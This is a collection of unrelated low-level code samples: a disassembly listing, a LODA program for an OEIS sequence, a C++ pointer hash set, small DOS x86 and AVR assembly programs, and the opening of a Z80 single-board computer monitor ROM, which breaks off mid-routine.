0x0361 (0x0006C2) 0x2119- f:00020 d: 281 | A = OR[281]
0x0362 (0x0006C4) 0x2929- f:00024 d: 297 | OR[297] = A
0x0363 (0x0006C6) 0x211C- f:00020 d: 284 | A = OR[284]
0x0364 (0x0006C8) 0x292A- f:00024 d: 298 | OR[298] = A
0x0365 (0x0006CA) 0x211D- f:00020 d: 285 | A = OR[285]
0x0366 (0x0006CC) 0x292B- f:00024 d: 299 | OR[299] = A
0x0367 (0x0006CE) 0x211F- f:00020 d: 287 | A = OR[287]
0x0368 (0x0006D0) 0x292C- f:00024 d: 300 | OR[300] = A
0x0369 (0x0006D2) 0x2120- f:00020 d: 288 | A = OR[288]
0x036A (0x0006D4) 0x292D- f:00024 d: 301 | OR[301] = A
0x036B (0x0006D6) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x036C (0x0006D8) 0x292E- f:00024 d: 302 | OR[302] = A
0x036D (0x0006DA) 0x1011- f:00010 d: 17 | A = 17 (0x0011)
0x036E (0x0006DC) 0x292F- f:00024 d: 303 | OR[303] = A
0x036F (0x0006DE) 0x1127- f:00010 d: 295 | A = 295 (0x0127)
0x0370 (0x0006E0) 0x5800- f:00054 d: 0 | B = A
0x0371 (0x0006E2) 0x1800-0x1F18 f:00014 d: 0 | A = 7960 (0x1F18)
0x0373 (0x0006E6) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0374 (0x0006E8) 0x8602- f:00103 d: 2 | P = P + 2 (0x0376), A # 0
0x0375 (0x0006EA) 0x0200- f:00001 d: 0 | EXIT
0x0376 (0x0006EC) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x0377 (0x0006EE) 0x3104- f:00030 d: 260 | A = (OR[260])
0x0378 (0x0006F0) 0x2904- f:00024 d: 260 | OR[260] = A
0x0379 (0x0006F2) 0x2104- f:00020 d: 260 | A = OR[260]
0x037A (0x0006F4) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x037B (0x0006F6) 0x8007- f:00100 d: 7 | P = P + 7 (0x0382), C = 0
0x037C (0x0006F8) 0x2104- f:00020 d: 260 | A = OR[260]
0x037D (0x0006FA) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x037E (0x0006FC) 0x8003- f:00100 d: 3 | P = P + 3 (0x0381), C = 0
0x037F (0x0006FE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0381), A = 0
0x0380 (0x000700) 0x7002- f:00070 d: 2 | P = P + 2 (0x0382)
0x0381 (0x000702) 0x7003- f:00070 d: 3 | P = P + 3 (0x0384)
0x0382 (0x000704) 0x7C34- f:00076 d: 52 | R = OR[52]
0x0383 (0x000706) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x0384 (0x000708) 0x7240- f:00071 d: 64 | P = P - 64 (0x0344)
0x0385 (0x00070A) 0x3120- f:00030 d: 288 | A = (OR[288])
0x0386 (0x00070C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0387 (0x00070E) 0x2913- f:00024 d: 275 | OR[275] = A
0x0388 (0x000710) 0x2120- f:00020 d: 288 | A = OR[288]
0x0389 (0x000712) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x038A (0x000714) 0x2920- f:00024 d: 288 | OR[288] = A
0x038B (0x000716) 0x0200- f:00001 d: 0 | EXIT
0x038C (0x000718) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1
0x038D (0x00071A) 0x3104- f:00030 d: 260 | A = (OR[260])
0x038E (0x00071C) 0x2904- f:00024 d: 260 | OR[260] = A
0x038F (0x00071E) 0x2104- f:00020 d: 260 | A = OR[260]
0x0390 (0x000720) 0x2706- f:00023 d: 262 | A = A - OR[262]
0x0391 (0x000722) 0x8007- f:00100 d: 7 | P = P + 7 (0x0398), C = 0
0x0392 (0x000724) 0x2104- f:00020 d: 260 | A = OR[260]
0x0393 (0x000726) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0394 (0x000728) 0x8003- f:00100 d: 3 | P = P + 3 (0x0397), C = 0
0x0395 (0x00072A) 0x8402- f:00102 d: 2 | P = P + 2 (0x0397), A = 0
0x0396 (0x00072C) 0x7002- f:00070 d: 2 | P = P + 2 (0x0398)
0x0397 (0x00072E) 0x7003- f:00070 d: 3 | P = P + 3 (0x039A)
0x0398 (0x000730) 0x7C34- f:00076 d: 52 | R = OR[52]
0x0399 (0x000732) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x039A (0x000734) 0x2104- f:00020 d: 260 | A = OR[260]
0x039B (0x000736) 0x290D- f:00024 d: 269 | OR[269] = A
0x039C (0x000738) 0x2104- f:00020 d: 260 | A = OR[260]
0x039D (0x00073A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x039E (0x00073C) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC)
0x03A0 (0x000740) 0x2904- f:00024 d: 260 | OR[260] = A
0x03A1 (0x000742) 0x2104- f:00020 d: 260 | A = OR[260]
0x03A2 (0x000744) 0x2921- f:00024 d: 289 | OR[289] = A
0x03A3 (0x000746) 0x1034- f:00010 d: 52 | A = 52 (0x0034)
0x03A4 (0x000748) 0x2B04- f:00025 d: 260 | OR[260] = A + OR[260]
0x03A5 (0x00074A) 0x2104- f:00020 d: 260 | A = OR[260]
0x03A6 (0x00074C) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x03A7 (0x00074E) 0xB234- f:00131 d: 52 | R = OR[52], C = 1
0x03A8 (0x000750) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x03A9 (0x000752) 0x210D- f:00020 d: 269 | A = OR[269]
0x03AA (0x000754) 0x3904- f:00034 d: 260 | (OR[260]) = A
0x03AB (0x000756) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1
0x03AC (0x000758) 0x2121- f:00020 d: 289 | A = OR[289]
0x03AD (0x00075A) 0x290E- f:00024 d: 270 | OR[270] = A
0x03AE (0x00075C) 0x1034- f:00010 d: 52 | A = 52 (0x0034)
0x03AF (0x00075E) 0x290D- f:00024 d: 269 | OR[269] = A
0x03B0 (0x000760) 0x210D- f:00020 d: 269 | A = OR[269]
0x03B1 (0x000762) 0x8406- f:00102 d: 6 | P = P + 6 (0x03B7), A = 0
0x03B2 (0x000764) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x03B3 (0x000766) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x03B4 (0x000768) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x03B5 (0x00076A) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x03B6 (0x00076C) 0x7206- f:00071 d: 6 | P = P - 6 (0x03B0)
0x03B7 (0x00076E) 0x0200- f:00001 d: 0 | EXIT
0x03B8 (0x000770) 0x0000- f:00000 d: 0 | PASS
0x03B9 (0x000772) 0x0000- f:00000 d: 0 | PASS
0x03BA (0x000774) 0x0000- f:00000 d: 0 | PASS
0x03BB (0x000776) 0x0000- f:00000 d: 0 | PASS
|
; A036505: Numerator of (n+1)^n/n!.
; Submitted by Christian Krause
; 1,2,9,32,625,324,117649,131072,4782969,1562500,25937424601,35831808,23298085122481,110730297608,4805419921875,562949953421312,48661191875666868481,91507169819844,104127350297911241532841,640000000000000000,865405750887126927009,5381999959460480073608,907846434775996175406740561329,5385144351531158470656,5684341886080801486968994140625,4342406162994964102172762888,278128389443693511257285776231761,411417561653470839904139214848,88540901833145211536614766025207452637361,8210510444641113281250000
add $0,1
mov $1,1
mov $2,1
mov $3,$0
lpb $3
mul $1,$0
mul $2,$3
sub $3,1
lpe
gcd $2,$1
div $1,$2
mov $0,$1
|
template <typename T>
struct PtrSetEntry {
T ptr;
MapIndex next;
};
template <typename T>
struct PtrSet {
Slice<MapIndex> hashes;
Array<PtrSetEntry<T>> entries;
};
template <typename T> void ptr_set_init (PtrSet<T> *s, gbAllocator a, isize capacity = 16);
template <typename T> void ptr_set_destroy(PtrSet<T> *s);
template <typename T> T ptr_set_add (PtrSet<T> *s, T ptr);
template <typename T> bool ptr_set_update (PtrSet<T> *s, T ptr); // returns true if it previously existed
template <typename T> bool ptr_set_exists (PtrSet<T> *s, T ptr);
template <typename T> void ptr_set_remove (PtrSet<T> *s, T ptr);
template <typename T> void ptr_set_clear (PtrSet<T> *s);
template <typename T> void ptr_set_grow (PtrSet<T> *s);
template <typename T> void ptr_set_rehash (PtrSet<T> *s, isize new_count);
template <typename T> void ptr_set_reserve(PtrSet<T> *h, isize cap);
template <typename T>
void ptr_set_init(PtrSet<T> *s, gbAllocator a, isize capacity) {
if (capacity != 0) {
capacity = next_pow2_isize(gb_max(16, capacity));
}
slice_init(&s->hashes, a, capacity);
array_init(&s->entries, a, 0, capacity);
for (isize i = 0; i < capacity; i++) {
s->hashes.data[i] = MAP_SENTINEL;
}
}
template <typename T>
void ptr_set_destroy(PtrSet<T> *s) {
slice_free(&s->hashes, s->entries.allocator);
array_free(&s->entries);
}
template <typename T>
gb_internal MapIndex ptr_set__add_entry(PtrSet<T> *s, T ptr) {
PtrSetEntry<T> e = {};
e.ptr = ptr;
e.next = MAP_SENTINEL;
array_add(&s->entries, e);
return cast(MapIndex)(s->entries.count-1);
}
template <typename T>
gb_internal MapFindResult ptr_set__find(PtrSet<T> *s, T ptr) {
MapFindResult fr = {MAP_SENTINEL, MAP_SENTINEL, MAP_SENTINEL};
if (s->hashes.count != 0) {
u32 hash = ptr_map_hash_key(ptr);
fr.hash_index = cast(MapIndex)(hash & (s->hashes.count-1));
fr.entry_index = s->hashes.data[fr.hash_index];
while (fr.entry_index != MAP_SENTINEL) {
if (s->entries.data[fr.entry_index].ptr == ptr) {
return fr;
}
fr.entry_prev = fr.entry_index;
fr.entry_index = s->entries.data[fr.entry_index].next;
}
}
return fr;
}
template <typename T>
gb_internal MapFindResult ptr_set__find_from_entry(PtrSet<T> *s, PtrSetEntry<T> *e) {
MapFindResult fr = {MAP_SENTINEL, MAP_SENTINEL, MAP_SENTINEL};
if (s->hashes.count != 0) {
u32 hash = ptr_map_hash_key(e->ptr);
fr.hash_index = cast(MapIndex)(hash & (s->hashes.count-1));
fr.entry_index = s->hashes.data[fr.hash_index];
while (fr.entry_index != MAP_SENTINEL) {
if (&s->entries.data[fr.entry_index] == e) {
return fr;
}
fr.entry_prev = fr.entry_index;
fr.entry_index = s->entries.data[fr.entry_index].next;
}
}
return fr;
}
template <typename T>
gb_internal bool ptr_set__full(PtrSet<T> *s) {
return 0.75f * s->hashes.count <= s->entries.count;
}
template <typename T>
gb_inline void ptr_set_grow(PtrSet<T> *s) {
isize new_count = gb_max(s->hashes.count<<1, 16);
ptr_set_rehash(s, new_count);
}
template <typename T>
void ptr_set_reset_entries(PtrSet<T> *s) {
for (isize i = 0; i < s->hashes.count; i++) {
s->hashes.data[i] = MAP_SENTINEL;
}
for (isize i = 0; i < s->entries.count; i++) {
MapFindResult fr;
PtrSetEntry<T> *e = &s->entries.data[i];
e->next = MAP_SENTINEL;
fr = ptr_set__find_from_entry(s, e);
if (fr.entry_prev == MAP_SENTINEL) {
s->hashes[fr.hash_index] = cast(MapIndex)i;
} else {
s->entries[fr.entry_prev].next = cast(MapIndex)i;
}
}
}
template <typename T>
void ptr_set_reserve(PtrSet<T> *s, isize cap) {
array_reserve(&s->entries, cap);
if (s->entries.count*2 < s->hashes.count) {
return;
}
slice_resize(&s->hashes, s->entries.allocator, cap*2);
ptr_set_reset_entries(s);
}
template <typename T>
void ptr_set_rehash(PtrSet<T> *s, isize new_count) {
ptr_set_reserve(s, new_count);
}
template <typename T>
gb_inline bool ptr_set_exists(PtrSet<T> *s, T ptr) {
isize index = ptr_set__find(s, ptr).entry_index;
return index != MAP_SENTINEL;
}
template <typename T>
gb_inline isize ptr_entry_index(PtrSet<T> *s, T ptr) {
isize index = ptr_set__find(s, ptr).entry_index;
if (index != MAP_SENTINEL) {
return index;
}
return -1;
}
// Returns true if it already exists
template <typename T>
T ptr_set_add(PtrSet<T> *s, T ptr) {
MapIndex index;
MapFindResult fr;
if (s->hashes.count == 0) {
ptr_set_grow(s);
}
fr = ptr_set__find(s, ptr);
if (fr.entry_index == MAP_SENTINEL) {
index = ptr_set__add_entry(s, ptr);
if (fr.entry_prev != MAP_SENTINEL) {
s->entries.data[fr.entry_prev].next = index;
} else {
s->hashes.data[fr.hash_index] = index;
}
}
if (ptr_set__full(s)) {
ptr_set_grow(s);
}
return ptr;
}
template <typename T>
bool ptr_set_update(PtrSet<T> *s, T ptr) { // returns true if it previously existsed
bool exists = false;
MapIndex index;
MapFindResult fr;
if (s->hashes.count == 0) {
ptr_set_grow(s);
}
fr = ptr_set__find(s, ptr);
if (fr.entry_index != MAP_SENTINEL) {
exists = true;
} else {
index = ptr_set__add_entry(s, ptr);
if (fr.entry_prev != MAP_SENTINEL) {
s->entries.data[fr.entry_prev].next = index;
} else {
s->hashes.data[fr.hash_index] = index;
}
}
if (ptr_set__full(s)) {
ptr_set_grow(s);
}
return exists;
}
template <typename T>
void ptr_set__erase(PtrSet<T> *s, MapFindResult fr) {
MapFindResult last;
if (fr.entry_prev == MAP_SENTINEL) {
s->hashes.data[fr.hash_index] = s->entries.data[fr.entry_index].next;
} else {
s->entries.data[fr.entry_prev].next = s->entries.data[fr.entry_index].next;
}
if (cast(isize)fr.entry_index == s->entries.count-1) {
array_pop(&s->entries);
return;
}
s->entries.data[fr.entry_index] = s->entries.data[s->entries.count-1];
last = ptr_set__find(s, s->entries.data[fr.entry_index].ptr);
if (last.entry_prev != MAP_SENTINEL) {
s->entries.data[last.entry_prev].next = fr.entry_index;
} else {
s->hashes.data[last.hash_index] = fr.entry_index;
}
}
template <typename T>
void ptr_set_remove(PtrSet<T> *s, T ptr) {
MapFindResult fr = ptr_set__find(s, ptr);
if (fr.entry_index != MAP_SENTINEL) {
ptr_set__erase(s, fr);
}
}
template <typename T>
gb_inline void ptr_set_clear(PtrSet<T> *s) {
array_clear(&s->entries);
for (isize i = 0; i < s->hashes.count; i++) {
s->hashes.data[i] = MAP_SENTINEL;
}
}
|
.MODEL SMALL
.STACK 100H
.DATA
PROMPT_1 DB "Digits: $ "
PROMPT_2 DB 0DH,0AH, "SUM: $"
.CODE
MAIN PROC
MOV AX,@DATA
MOV DS,AX
LEA DX,PROMPT_1
MOV AH,9
INT 21H
MOV CX,10
MOV AH,2
MOV DL,48
@LOOP:
INT 21H
ADD AL,DL
INC DL
DEC CX
JNZ @LOOP
LEA DX,PROMPT_2
MOV AH,9
INT 21H
MOV AH,2
MOV BL,AL
INT 21H
MOV AH,4CH
INT 21H
MAIN ENDP
END MAIN
|
.include "m16def.inc"
start:
ldi r24 , low(RAMEND) ;Initializing stack pointer.
out SPL , r24
ldi r24 , high(RAMEND)
out SPH , r24
ser r24 ;Setting PORTA for output.
out DDRA , r24
clr r26
out DDRB,r26 ;Setting PORTB for input.
ldi r27,0x01 ;Register r27 represents the moving led on PortA.
ldi r28,0x00 ;Register r28 is a flag for led's direction.
process:
out PORTA,r27
ldi r24 , low(500) ;Setting r24,r25 value for the msec routine.
ldi r25 , high(500) ;We need to wait 0.5 sec = 500 msec so r25:r24 = 500.
rcall wait_msec
in r26,PINB ;Read PORTB input.
andi r26,0x01
cpi r26,0x01 ;Check if PB0 is 1.
breq process
cpi r28,0x00
breq left
rjmp right
left:
lsl r27 ;Left shift logical of the moving led.
out PORTA,r27
cpi r27,0x80 ;Check if moving led is at PA7 (left limit).
brne process
ldi r28,0x01 ;If moving led at PA7 set flag at 1 so we move right.
rjmp process
right:
lsr r27 ;Right shift logical of the moving led.
out PORTA,r27
cpi r27,0x01 ;Check if moving led is at PA7 (left limit). `
brne process
ldi r28,0x00 ;If moving led at PA0 set flag at 0 so we move left.
rjmp process
wait_usec:
sbiw r24 ,1
nop
nop
nop
nop
brne wait_usec
ret
wait_msec:
push r24
push r25
ldi r24 , low(998)
ldi r25 , high(998)
rcall wait_usec
pop r25
pop r24
sbiw r24 , 1
brne wait_msec
ret |
#!/usr/local/bin/zasm -o original/
;******************************************************************************
;
; Small monitor for the Z80 single board computer consisting of 32 kB ROM
; ($0000 to $ffff), 32 kB RAM ($8000 to $ffff) and a 16c550 UART.
;
; B. Ulmann, 28-SEP-2011, 29-SEP-2011, 01-OCT-2011, 02-OCT-2011, 30-OCT-2011,
; 01-NOV-2011, 02-NOV-2011, 03-NOV-2011, 06/07/08-JAN-2012
; I. Kloeckl, 06/07/08-JAN-2012 (FAT implementation for reading files)
; B. Ulmann, 14-JAN-2011,
;
; Version 0.8
;
;******************************************************************************
;
; TODO:
; Read and print IDE error status codes in case of error!
;
; Known issues:
; Memory Dump has a problem when the end address is >= FF00
;
;******************************************************************************
;
; RST $00 will enter the monitor (do not care about the return address pushed
; onto the stack - the stack pointer will be reinitialized during cold as well
; as during warm starts.
;
; Monitor routines will generally called by placing the necessary parameters
; into some processor registers and then issuing RST $08. More about this later.
;
; Memory layout is as follows:
;
; +-------+
; ! $FFFF ! General purpose 512 byte buffer
; ! --- !
; ! $FE00 !
; +-------+
; ! $DFFF ! FAT control block
; ! --- !
; ! $FDDC !
; +-------+
; ! $FDDB ! File control block
; ! --- !
; ! $FBBE !
; +-------+
; ! $FBBD ! 81 byte string buffer
; ! --- !
; ! $FB6D !
; +-------+
; ! $FB6C ! 12 byte string buffer
; ! --- !
; ! $FB61 !
; +-------+
; ! $FB60 ! Buffers for various routines
; ! --- !
; ! $FB4D !
; +-------+
; ! $FB4C ! Cold/warm start control (1 byte)
; +-------+
; ! $FBBD ! Stack
; ! ... !
; ! $8000 ! Begin of RAM
; +-------+
; ! $7FFF ! ROM area
; ! --- ! RST $08 calls a system routine
; ! $0000 ! RST $00 restarts the monitor
; +-------+
;
;
monitor_start equ $0000 ; $0000 -> ROM, $8000 -> Test image
;
org monitor_start
;
rom_start equ $0
rom_end equ $7fff
ram_start equ $8000
ram_end equ $ffff
buffer equ ram_end - $1ff ; 512 byte IDE general purpose buffer
;
; Define the FAT control block memory addresses:
;
datastart equ buffer - 4 ; Data area start vector
rootstart equ datastart - 4 ; Root directory start vector
fat1start equ rootstart - 4 ; Start vector to first FAT
psiz equ fat1start - 4 ; Size of partition (in sectors)
pstart equ psiz - 4 ; First sector of partition
rootlen equ pstart - 2 ; Maximum number of entries in directory
fatsec equ rootlen - 2 ; FAT size in sectors
ressec equ fatsec - 2 ; Number of reserved sectors
clusiz equ ressec - 1 ; Size of a cluster (in sectors)
fatname equ clusiz - 9 ; Name of the FAT (null terminated)
fatcb equ fatname ; Start of the FATCB
;
; Define a file control block (FCB) memory addresses and displacements:
;
file_buffer equ fatcb - $200 ; 512 byte sector buffer
cluster_sector equ file_buffer - 1 ; Current sector in cluster
current_sector equ cluster_sector - 4 ; Current sector address
current_cluster equ current_sector - 2 ; Current cluster number
file_pointer equ current_cluster - 4 ; Pointer for file position
file_type equ file_pointer - 1 ; 0 -> not found, else OK
first_cluster equ file_type - 2 ; First cluster of file
file_size equ first_cluster - 4 ; Size of file
file_name equ file_size - 12 ; Canonical name of file
fcb equ file_name ; Start of the FCB
;
fcb_filename equ 0
fcb_file_size equ $c
fcb_first_cluster equ $10
fcb_file_type equ $12
fcb_file_pointer equ $13
fcb_current_cluster equ $17
fcb_current_sector equ $19
fcb_cluster_sector equ $1d
fcb_file_buffer equ $1e
;
; We also need some general purpose string buffers:
;
string_81_bfr equ fcb - 81
string_12_bfr equ string_81_bfr - 12
;
; A number of routines need a bit of scratch RAM, too. Since these are
; sometimes interdependent, each routine gets its own memory cells (only
; possible since the routines are not recursive).
;
load_file_scrat equ string_12_bfr - 2 ; Two bytes for load_file
str2filename_de equ load_file_scrat - 2 ; Two bytes for str2filename
fopen_eob equ str2filename_de - 2 ; Eight bytes for fopen
fopen_rsc equ fopen_eob - 4
fopen_scr equ fopen_rsc - 2
dirlist_scratch equ fopen_scr - 2 ; Eight bytes for fopen
dirlist_eob equ dirlist_scratch - 2
dirlist_rootsec equ dirlist_eob - 4
;
start_type equ dirlist_rootsec - $1 ; Distinguish cold/warm start
;
uart_base equ $0
ide_base equ $10
;
uart_register_0 equ uart_base + 0
uart_register_1 equ uart_base + 1
uart_register_2 equ uart_base + 2
uart_register_3 equ uart_base + 3
uart_register_4 equ uart_base + 4
uart_register_5 equ uart_base + 5
uart_register_6 equ uart_base + 6
uart_register_7 equ uart_base + 7
;
eos equ $00 ; End of string
cr equ $0d ; Carriage return
lf equ $0a ; Line feed
space equ $20 ; Space
tab equ $09 ; Tabulator
;
; Main entry point (RST 00H):
;
rst_00 di ; Disable interrupts
jr initialize ; Jump over the RST-area
;
; RST-area - here is the main entry point into the monitor. The calling
; standard looks like this:
;
; 1) Set register IX to the number of the system routine to be called.
; 2) Set the remaining registers according to the routine's documentation.
; 3) Execute RST $08 to actually call the system routine.
; 4) Evaluate the values returned in the registers as described by the
; Routine's documentation.
;
; (Currently there are no plans to use more RST entry points, so this routine
; just runs as long as necessary in memory. If more RSTs will be used, this
; routine should to be moved to the end of the used ROM area with only a
; simple jump at the RST $08-location.)
;
; This technique of calling system routines can be used as the following
; example program that just echos characters read from the serial line
; demonstrates:
;
; org $8000 ; Start in lower RAM
; loop ld ix, 5 ; Prepare call to getc
; rst 08 ; Execute getc
; cp 3 ; CTRL-C pressed?
; jr z, exit ; Yes - exit
; ld ix, 6 ; Prepare call to putc
; rst 08 ; Execute putx
; jr loop ; Process next character
; exit ld ix, 4 ; Exit - print a CR/LF pair
; rst 08 ; Call CRLF
; ld hl, msg ; Pointer to exit message
; ld ix, 7 ; Prepare calling puts
; rst 08 ; Call puts
; rst 00 ; Restart monitor (warm start)
; msg defb "That's all folks.", $d, $a, 0
;
; Currently the following functions are available (a more detailed description
; can be found in the dispatch table itself):
;
; 0: cold_start
; 1: is_hex
; 2: is_print
; 3: to_upper
; 4: crlf
; 5: getc
; 6: putc
; 7: puts
; 8: strcmp
; 9: gets
; A: fgetc
; B: dump_fcb
; C: fopen
; D: dirlist
; E: fatmount
; F: fatunmount
;
; org monitor_start + $08
nop ; Beware: zasm is buggy concerning
nop ; the org pseudo-statement. Therefore
nop ; The displacement to the RST $08
nop ; entry point is generated by this
nop ; NOP-sequence.
rst_08 push bc ; Save bc and hl
push hl
push ix ; Copy the contents of ix
pop hl ; into hl
add hl, hl ; Double to get displacement in table
ld bc, dispatch_table
add hl, bc ; Calculate displacement in table
ld bc, (hl) ; Load bc with the destination address
push bc
pop ix ; Load ix with the destination address
pop hl ; Restore hl
pop bc ; and bc
jp (ix) ; Jump to the destination routine
dispatch_table defw cold_start ; $00 = clear etc.
; Parameters: N/A
; Action: Performs a cold start (memory is cleared!)
; Return values: N/A
;
defw is_hex
; Parameters: A contains a character code
; Action: Tests ('0' <= A <= '9) || ('A' <= A <= 'F')
; Return values: Carry bit is set if A contains a hex char.
;
defw is_print
; Parameters: A contains a charater code
; Action: Tests if the character is printable
; Return values: Carry bit is set if A contains a valid char.
;
defw to_upper
; Parameters: A contains a character code
; Action: Converts an ASCII character into upper case
; Return values: Converted character code in A
;
defw crlf
; Parameters: N/A
; Action: Sends a CR/LF to the serial line
; Return values: N/A
;
defw getc
; Parameters: A contains a character code
; Action: Reads a character code from the serial line
; Return values: N/A
;
defw putc
; Parameters: A contains a character code
; Action: Sends the character code to the serial line
; Return values: N/A
;
defw puts
; Parameters: HL contains the address of a 0-terminated
; string
; Action: Send the string to the serial line (excluding
; the termination byte, of course)
; Return values: N/A
;
defw strcmp
; Parameters: HL and DE contain the addresses of two strings
; Action: Compare both strings.
; Return values: A contains return value, <0 / 0 / >0
;
defw gets
; Parameters: HL contains a buffer address, B contains the
; buffer length (including the terminating
; null byte!)
; Action: Reads a string from STDIN. Terminates when
; either the buffer is full or the string is
; terminated by CR/LF.
; Return values: N/A
;
defw fgetc
; Parameters: IY (pointer to a valid FCB)
; Action: Reads a character from a FAT file
; Return values: Character in A, if EOF has been encountered,
; the carry flag will be set
;
defw dump_fcb
; Parameters: IY (pointer to a valid FCB)
; Action: Prints the contents of the FCB in human
; readable format to STDOUT
; Return values: N/A
;
defw fopen
; Parameters: HL (points to a buffer containing the file
; file name), IY (points to an empty FCB)
; Action: Opens a file for reading
; Return values: N/A (All information is contained in the FCB)
;
defw dirlist
; Parameters: N/A (relies on a valid FAT control block)
; Action: Writes a directory listing to STDOUT
; Return values: N/A
;
defw fatmount
; Parameters: N/A (needs the global FAT control block)
; Action: Mounts a disk (populates the FAT CB)
; Return values: N/A
;
defw fatunmount
; Parameters: N/A (needs the global FAT control block)
; Action: Invalidates the global FAT control block
; Return values; N/A
;
; The stackpointer will be predecremented by a push instruction. Since we need
; a 512 byte buffer for data transfers to and from the IDE disk, the stack
; pointer is initialized to start at the beginning of this buffer space.
;
initialize ld sp, start_type - $1
;
; Initialize UART to 9600,8N1:
;
ld a, $80
out (uart_register_3), a
ld a, $c ; 1843200 / (16 * 9600)
out (uart_register_0), a
xor a
out (uart_register_1), a
ld a, $3 ; 8N1
out (uart_register_3), a
;
; Print welcome message:
;
ld hl, hello_msg
call puts
;
; If this is a cold start (the location start_type does not contain $aa)
; all available RAM will be reset to $00 and a message will be printed.
;
ld a, (start_type)
cp $aa ; Warm start?
jr z, main_loop ; Yes - enter command loop
ld hl, cold_start_msg
call puts ; Print cold start message
ld hl, ram_start ; Start of block to be filled with $00
ld de, hl ; End address of block
inc de ; plus 1 (for ldir)
ld bc, ram_end - ram_start
ld (hl), $00 ; Load first memory location
ldir ; And copy this value down
ld hl, start_type
ld (hl), $aa ; Cold start done, remember this
;
; Read characters from the serial line and send them just back:
;
main_loop ld hl, monitor_prompt
call puts
; The monitor is rather simple: All commands are just one or two letters.
; The first character selects a command group, the second the desired command
; out of that group. When a command is recognized, it will be spelled out
; automatically and the user will be prompted for arguments if applicable.
call monitor_key ; Read a key
; Which group did we get?
cp 'C' ; Control group?
jr nz, disk_group ; No - test next group
ld hl, cg_msg ; Print group prompt
call puts
call monitor_key ; Get command key
cp 'C' ; Cold start?
jp z, cold_start
cp 'W' ; Warm start?
jp z, warm_start
cp 'S' ; Start?
jp z, start
cp 'I' ; Info?
call z, info
jr z, main_loop
jp cmd_error ; Unknown control-group-command
disk_group cp 'D' ; Disk group?
jr nz, file_group ; No - file group?
ld hl, dg_msg ; Print group prompt
call puts
call monitor_key ; Get command
cp 'I' ; Info?
call z, disk_info
jr z, main_loop
cp 'M' ; Mount?
call z, mount
jr z, main_loop
cp 'T' ; Read from disk?
call z, disk_transfer
jr z, main_loop
cp 'U' ; Unmount?
call z, unmount
jr z, main_loop
jr cmd_error ; Unknown disk-group-command
file_group cp 'F' ; File group?
jr nz, help_group ; No - help group?
ld hl, fg_msg ; Print group prompt
call puts
call monitor_key ; Get command
cp 'C' ; Cat?
call z, cat_file
jr z, main_loop
cp 'D' ; Directory?
call z, directory
jr z, main_loop
cp 'L' ; Load?
call z, load_file
jr z, main_loop
jr cmd_error ; Unknown file-group-command
help_group cp 'H' ; Help? (No further level expected.)
call z, help ; Yes :-)
jp z, main_loop
memory_group cp 'M' ; Memory group?
jp nz, group_error ; No - print an error message
ld hl, mg_msg ; Print group prompt
call puts
call monitor_key ; Get command key
cp 'D' ; Dump?
call z, dump
jp z, main_loop
cp 'E' ; Examine?
call z, examine
jp z, main_loop
cp 'F' ; Fill?
call z, fill
jp z, main_loop
cp 'I' ; INTEL-Hex load?
call z, ih_load
jp z, main_loop
cp 'L' ; Load?
call z, load
jp z, main_loop
cp 'M' ; Move?
call z, move
jp z, main_loop
cp 'R' ; Register dump?
call z, rdump
jp z, main_loop
jr cmd_error ; Unknown memory-group-command
group_error ld hl, group_err_msg
jr print_error
cmd_error ld hl, command_err_msg
print_error call putc ; Echo the illegal character
call puts ; and print the error message
jp main_loop
;
; Some constants for the monitor:
;
hello_msg defb cr, lf, cr, lf, "Simple Z80-monitor - V 0.8 "
defb "(B. Ulmann, Sep. 2011 - Jan. 2012)", cr, lf, eos
monitor_prompt defb cr, lf, "Z> ", eos
cg_msg defb "CONTROL/", eos
dg_msg defb "DISK/", eos
fg_msg defb "FILE/", eos
mg_msg defb "MEMORY/", eos
command_err_msg defb ": Syntax error - command not found!", cr, lf, eos
group_err_msg defb ": Syntax error - group not found!", cr, lf, eos
cold_start_msg defb "Cold start, clearing memory.", cr, lf, eos
;
; Read a key for command group and command:
;
monitor_key call getc
cp lf ; Ignore LF
jr z, monitor_key ; Just get the next character
call to_upper
cp cr ; A CR will return to the prompt
ret nz ; No - just return
inc sp ; Correct SP to and avoid ret!
jp main_loop
;
;******************************************************************************
;***
;*** The following routines are used in the interactive part of the monitor
;***
;******************************************************************************
;
; Print a file's contents to STDOUT:
;
cat_file push bc
push de
push hl
push iy
ld hl, cat_file_prompt
call puts
ld hl, string_81_bfr
ld b, 81
call gets ; Read the filename into buffer
ld iy, fcb ; Prepare fopen (only one FCB currently)
ld de, string_12_bfr
call fopen
cat_file_loop call fgetc ; Get a single character
jr c, cat_file_exit
call putc ; Print character if not EOF
jr cat_file_loop ; Next character
cat_file_exit pop iy
pop hl
pop de
pop bc
ret
cat_file_prompt defb "CAT: FILENAME=", eos
;
; directory - a simple wrapper for dirlist (necessary for printing the command
; name)
;
directory push hl
ld hl, directory_msg
call puts
call dirlist
pop hl
ret
directory_msg defb "DIRECTORY", cr, lf, eos
;
; Get and print disk info:
;
disk_info push af
push hl
ld hl, disk_info_msg
call puts
call ide_get_id ; Read the disk info into the IDE buffer
ld hl, buffer + $13
ld (hl), tab
call puts ; Print vendor information
call crlf
ld hl, buffer + $2d
ld (hl), tab
call puts
call crlf
pop hl
pop af
ret
disk_info_msg defb "INFO:", cr, lf, eos
;
; Read data from disk to memory
;
disk_transfer push af
push bc
push de
